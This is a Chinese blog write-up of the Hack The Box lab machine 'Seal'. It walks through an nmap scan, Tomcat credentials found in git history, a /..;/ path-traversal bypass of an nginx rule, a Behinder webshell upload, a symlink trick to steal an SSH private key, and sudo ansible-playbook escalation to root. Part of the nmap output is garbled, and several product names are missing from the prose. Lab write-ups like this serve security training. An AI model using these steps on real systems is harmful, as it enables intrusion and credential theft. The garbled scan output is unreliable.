nmap端口扫描实验/使用nmap对靶机进行端口探测_小白白客入门教程
本文已参与「新人创作礼」活动,一起开启掘金创作之路
0x01 端口信息
使用nmap对靶机进行端口探测
nmap -sC -sV -v 10.10.10.22
结果如下:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
| 256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_ 256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Issuer: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-05-05T10:24:03
| Not valid after: 2022-05-05T10:24:03
| MD5: 9c4f 991a bb97 192c df5a c513 057d 4d21
|_SHA-1: 0de4 6873 0ab7 3f90 c317 0f7b 872f 155b 305e 54ef
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 401 Unauthorized
| Date: Mon, 13 Dec 2021 01:34:13 GMT
| Set-Cookie: JSESSIONID=node0z5n4sbc9hnjors2ulsqy6jnq155.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| GetRequest:
| HTTP/1.1 401 Unauthorized
| Date: Mon, 13 Dec 2021 01:34:08 GMT
| Set-Cookie: JSESSIONID=node09xtpsxy6z9pabh0g6yyqtajg153.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Mon, 13 Dec 2021 01:34:09 GMT
| Set-Cookie: JSESSIONID=node01nxswyk2xedhj14uol8ldn80oh154.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RPCCheck:
| HTTP/1.1 400 Illegal character OTEXT=0x80
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 71
| Connection: close
| <h1>Bad Message 400h1><pre>reason: Illegal character OTEXT=0x80pre>
| RTSPRequest:
| HTTP/1.1 505 Unknown Version
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
| <h1>Bad Message 505h1><pre>reason: Unknown Version
| : | HTTP/1。1 400 CNTL=0x4| -Type: text/html;=iso-8859-1| -: 69| : close| Bad : CNTL=0x4| : | HTTP/1。1 400 CNTL=0x5| -Type: text/html;=iso-8859-1| -: 69| : close|_ Bad : CNTL=0x5| http-auth: | HTTP/1。1 401 \x0D|_ 401 but no WWW- 。| http-: |_ : GET HEAD POST |_http-title: Site doesn't have a title (text/html;=utf-8)。
1 data。 If you know the /, the at https://nmap。org/cgi-bin/。cgi?new- :SF--TCP:V=7。91%I=7%D=12/13%Time=%P=-pc-linux-gnu%r(GSF:,F5,"HTTP/1。1\\\r\nDate:\,\x2013\xSF:20Dec\\x2001:34:08\\r\nSet-:\=:153。node0;\=/;\\r\:\:hu,\x2001\\\x2000:00:00\\r\-Type:\/htSF:ml;=utf-8\r\-:\x200\r\n\r\n")%r(,10B,"HSF:TTP/1。
1\\x20OK\r\nDate:\,\x2013\\\x2001:34:09SF:\\r\nSet-:\=:。node0;\=/;\\r\:\,\x2001\\:0\x2000:00:00\\r\-Type:\/html;=utf-8\r\:ow:\,HEAD,POST,\r\-:\x200\r\n\r\n")%r(:quest,AD,"HTTP/1。1\\\\r\-Type:\:xt/html;=iso-8859-1\r\-:\x2058\r\:\:lose\r\n\r\nBad\\
reason:\x20Unknown\x20Ve SF:rsion
")%r(,F5,"HTTP/1.1\\\SF:r\nDate:\,\x2013\\\x2001:34:13\\r\nSet-:SF:\=.node0;\=/;\:\r\:\,\x2001\\\x2000:00:00\\r\nSF:-Type:\/html;=utf-8\r\-:\x200\r\n\r\SF:n")%r(,C3,"HTTP/1.1\\\\=0x5\rSF:\-Type:\/html;=iso-8859-1\r\-:\:9\r\:\\r\n\r\nBad\\
rea SF:son:\x20Illegal\x20character\x20CNTL=0x5
")%r(,C3,"HTTP/1.1SF:\\\\=0x4\r\-Type:\/htSF:ml;=iso-8859-1\r\-:\x2069\r\:\\SF:r\n\r\nBad\\
reason:\x20Illegal\x20charact SF:er\x20CNTL=0x4
")%r(,C7,"HTTP/1.1\\\:\=0x80\r\-Type:\/html;=iso-8859-1\SF:r\-:\x2071\r\:\\r\n\r\nBad\:age\
reason:\x20Illegal\x20character\x20OTEXT=0x80
SF:"); Info: OS: Linux; CPE: cpe:/o:linux:NSE: Post-. NSE at 09: NSE at 09:35, 0.00s NSE at 09: NSE at 09:35, 0.00s NSE at 09: NSE at 09:35, 0.00s data files from: /usr/bin/../share/ . any at https://nmap.org// .Nmap done: 1 IP (1 host up) in 143.32
0x02 user.txt
可以发现有两个WEB界面,分别如下。一个是,另一个是一个商店一样的seal :
同时还能收集到一个邮箱(后面发现也没啥用):
在中能够看到一个seal的repo,查看其中配置文件-user.xml的git变更记录,发现存留的用户名和密码,记录一下:
username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>
之后尝试使用该凭据信息进入控制台上传war包。首先是使用扫一下目录:
可以发现本该是控制台的//html是403,访问该界面能够看到nginx的界面。不难推测是nginx是作为反向代理服务器,之后流量才转发给后端的。且nginx的块应该作了相应的配置从而使得不能访问控制台。
那就是需要想办法绕过了,其实现阶段爆出的很多漏洞中,反向代理在解析的时候和后端出现不一致的情况经常是会被拿来做文章的地方。据此搜索的话,最终我们能够找到一个目录穿越漏洞。
第一个AWVS的链接中,我们可以发现一个存在不一致的情况。大体就是会将/..;/解析成传统意义上的/../,而nginx不会。所以nginx放过了本该拦截的URL访问,这样我们就能进入控制台了。
Web and the path. For , the path /image/../image/ is to // . When is used with a proxy such as nginx there is a .
will the /..;/ as /../ and the path while will not this and send it to as it is.
This an to that are not via the proxy .
如上,我们访问如下链接就能进入的管理员界面:
https://10.10.10.250/manager/status/..;/html
之后就是非常传统的通过上传war包了,需要注意的是在上传时候访问的URL依旧需要抓包改包,否则依然会是403.
这里传的是冰蝎马,经过测试平常默认使用的jsp冰蝎马会解析错误。
换了一个低版本的java9的jsp 就行了。
拿到shell后首先敲下命令看下权限,发现是非常普通的。
0x03 root.txt
逛了一圈没有发现比较特殊的东西,ssh私钥也读不了。遂上传脚本后运行,发现网站的备份文件。
在目录下发现配置文件,可以发现有一个的敏感配置,这是我们可以利用的突破口。
我们可以创建一个软连接,指向luis用户的ssh私钥,这样备份的时候就能复制出来了。
ln -s /home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa
用冰蝎将文件下载到本地,解压打开即可拿到用户luis的私钥。
更改权限为600后登陆之,登陆成功后即可拿到user.txt。
root的提权还是通过。中给出了通过进行提权的脚本。当然也可以自己写一个。
命令粘贴如下:
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh /tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF
运行后即可拿到root的shell,读root.txt即可。
网络安全学习路线图(思维导图)
网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能,然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。
1. 网络安全视频资料
2. 网络安全笔记/面试题
3. 网安电子书PDF资料
~